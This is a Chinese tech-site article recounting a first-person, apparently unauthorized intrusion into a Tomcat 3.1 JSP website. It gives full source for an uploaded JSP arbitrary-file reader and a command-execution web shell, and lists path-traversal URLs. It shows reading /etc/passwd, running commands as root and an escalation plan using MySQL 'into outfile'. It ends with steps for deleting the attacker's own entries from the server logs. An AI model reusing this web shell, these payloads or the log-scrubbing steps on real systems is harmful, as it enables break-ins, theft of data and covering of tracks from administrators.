网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 
中国网管联盟
Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道
 当前位置: > bitsCN.com > windows > 系统安全 > 网络安全 > 黑客的攻击:WEB入侵的过程  

黑客的攻击:WEB入侵的过程

2006-09-15  作者:BitsCN整理  来源:中国网管联盟  点评 投稿 收藏

很偶然的一个机会,看到了一个网站,页面清新,很舒服的感觉。网站是用JSP开发的,由于个人爱好,所以我决定看看系统的安全性。

网管联盟bitsCN_com

 

网管网www_bitscn_com

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]
返回的结果如下:
HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

中国网管联盟bitsCN.com

<h1>Error: 404</h1>
<h2>Location: /CHINANSL</h2>File Not Found<br>/CHINANSL
  网管u家u.bitscn@com

我获得了运行的WEBServer的名称\"Tomcat 3.1\"。我记得我曾经发现过这个版本的漏洞,并且post到bugtrap上去过。大概是:通过\"..\"技术可以退出WEB目录,于是:

网管u家u.bitsCN.com


http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)
  网管u家u.bitscn@com

嗯,在试试吧!Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context.试一下:http://target:8080/admin/ ,管理员果然没有删除或禁止访问这个目录。接着我点\"VIEW ALL CONTEXT\"按钮,列出了WEB目录下的一些文件和目录的名称,我开始仔细的看了起来,一小会儿,发现了一个上传文件的组件,嘿嘿,写一个jsp文件弄上去看看。几口咖啡的时间,我写了这么一个东东出来:

网管联盟bitsCN_com


<%@ page import=\"java.io.*\" %>
<%
String file = request.getParameter(\"file\");
String str = \"\";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+\"<br>\");
}
}catch(IOException e){}
%>
  中国网管联盟bitsCN.com

通过上传的组件将这个jsp上传到对方的WEB目录里,然后: 网管联盟bitsCN_com

http://target:8080/upload/test.jsp?file=/etc/passwd

网管网www_bitscn_com

嘿嘿,密码出来啦。我只看了\"/etc/passwd\",并没有看\"/etc/shadow\",因为当时考虑webserver一般使用nobody的身份启动的,看了也白看。(失误)接下来的过程是无聊的猜测密码,没有成功。算了,那我只有将就点,反正现在我相当于有了一个shell了嘛,猜不出密码上去,那就全当IE是我的SHELL环境吧! 网管下载dl.bitscn.com

再写: 网管网www.bitscn.com


<%@ page import=\"java.io.*\" %>
<%
try {
String cmd = request.getParameter(\"cmd\");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
  网管u家u.bitsCN.com

然后把这个jsp又通过upload上传了上去,嘿嘿,我现在有个SHELL了。

网管下载dl.bitscn.com

http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ 网管论坛bbs_bitsCN_com

(我这里就不列出来了)

中国网管论坛bbs.bitsCN.com

怎么获得root呢?经过一番搜索我发现了系统安装了mysql并且我从jsp的源代码中得到了mysql的密码:)看看是什么权限运行的mysql: 网管u家u.bitscn@com

sqld\">http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld 网管联盟bitsCN@com

显示: 网管论坛bbs_bitsCN_com

root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql

网管u家u.bitscn@com

嘿嘿,有办法了,系统是以root身份运行的mysql,同时我知道了mysql的密码,那我现在我可以写一个shell程序,让它create一个表,然后将我的数据放到表中,然后再使用\"select ... into outfile;\"的办法在系统上创建一个文件,让用户在执行su的时候,运行我的程序。(还记得apache.org有一次被入侵吗?hacker就采用的这种办法)。 网管u家u.bitscn@com

然后,我再上传bindshell之类的程序,运行、获得nobody的权限,然后......再使用su root时帮忙创建的setuid shell让自己成为root.嘿嘿,真是好办法,我都为我的想法感到得意......

网管联盟bitsCN@com


接下去的事情,差点没让我吐血:

中国网管联盟bitsCN.com

我敲了一个:http://target:8080/upload/cmd.jsp?cmd=id

网管下载dl.bitscn.com

显示: 网管网www.bitscn.com

uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) 网管联盟bitsCN@com

我的这个WEB SHELL本来就是ROOT,真是服了那个管理员,也服了自己。竟然折腾了这么半天,哎!

网管下载dl.bitscn.com

http://target:8080/upload/cmd.jsp?cmd=ps+aux 网管下载dl.bitscn.com

果然是root身份运行的(不列出来了) 网管联盟bitsCN@com


剩下来的事情: 网管联盟bitsCN@com

1、删除我的telnet记录。

网管网www.bitscn.com

2、删除http的日志。

网管bitscn_com

至于清除日志嘛,我使用的办法是:cat xxx |grep -V \"IP\" >>temp然后在把temp覆盖那些被我修改过的日志文件。 中国网管联盟bitsCN.com

我没有更换他的页面,因为我本身也就不是什么黑客啦,更不是红客,只是个网络安全爱好者而已。所以,发封邮件告诉system admin吧!

网管u家u.bitscn@com


TAGs过程   入侵   攻击   黑客   xxx   然后   不行   目录   cmd    
 上一篇:黑客破解Email账号常用的三种方法   下一篇:分析VoIP安全隐患以及防护方法
黑客的攻击:WEB入侵的过程 评论:
loading.. 评论加载中…
评论:请自觉遵守互联网相关政策法规,评论不得超过250字。

验证码: 注册用户
本类热门排行:
最新推荐文章:
网管论坛交流: